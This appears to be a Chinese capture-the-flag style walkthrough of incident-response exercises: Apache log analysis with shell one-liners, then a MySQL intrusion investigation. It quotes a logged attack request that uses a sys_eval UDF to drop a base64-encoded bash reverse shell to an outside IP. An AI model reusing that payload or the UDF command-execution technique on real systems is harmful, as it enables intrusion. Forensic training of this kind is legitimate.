第二章日志分析-apache日志分析

1、提交当天访问次数最多的IP,即黑客IP:

apache的日志ip是在第一个我们直接分组输出第一个组就是ip让后在统计次数即可

1
2
cat access.log.1|awk '{print$1}'|sort -n|uniq -c


flag{192.168.200.2}

2、黑客使用的浏览器指纹是什么,提交指纹的md5:

直接过滤出黑客ip然后将ua头进行md5加密即可

1
cat access.log.1|grep "192.168.200.2"

3、查看index.php页面被访问的次数,提交次数:

过滤/index.php

1
cat access.log.1|grep "/index.php"|awk '{print$1}'|sort -n|uniq -c

4、查看黑客IP访问了多少次,提交次数:l

第一题就出了

1
cat access.log.1|awk '{print$1}'|sort -n|uniq -c

也可以在加一个过滤

flag{6555}

5、查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:

过滤时间到小时

1
cat access.log.1|grep -a '03/Aug/2023:08'|awk '{print$1}'|sort -n |uniq -c

flag{5}

msql

1.黑客第一次写入的shell

直接下载web目录d盾扫

2.黑客反弹shell的ip

我们查看apache日志可以发现

其具有sql注入的行为且利用mysqludf.so注册了一个sys_eval函数

1
"http://192.168.200.31:8005/adminer.php?username=root&sql=select sys_eval('echo YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx|base64 -d>/tmp/1.sh');"

其写了一个反弹设立了的/tmp/1.sh文件

3.黑客提权文件的完整路径

这里我感觉有点问题,因为其注册udf的函数明明是mysqludf.so可答案却是udf.so文件

首先查运行mysqludf.so文件的位置

1
2
find / -name "mysqludf.so"
/usr/lib/mysql/plugin/mysqludf.so

后面发现错了….
于是尝试在web目录下找mysql密码
1
find /var/www/html/ -name "*.php" |xargs grep "root"


登陆mysql

发现通过select * from mysql.func查到的表里所注册的sys_eval含仍然是mysqludf.so文件注册的,所有搞不懂为什么答案是udf.so

黑客获取的权限

直接执行sys_eval(“whoami”);即可

日志分析-redis应急响应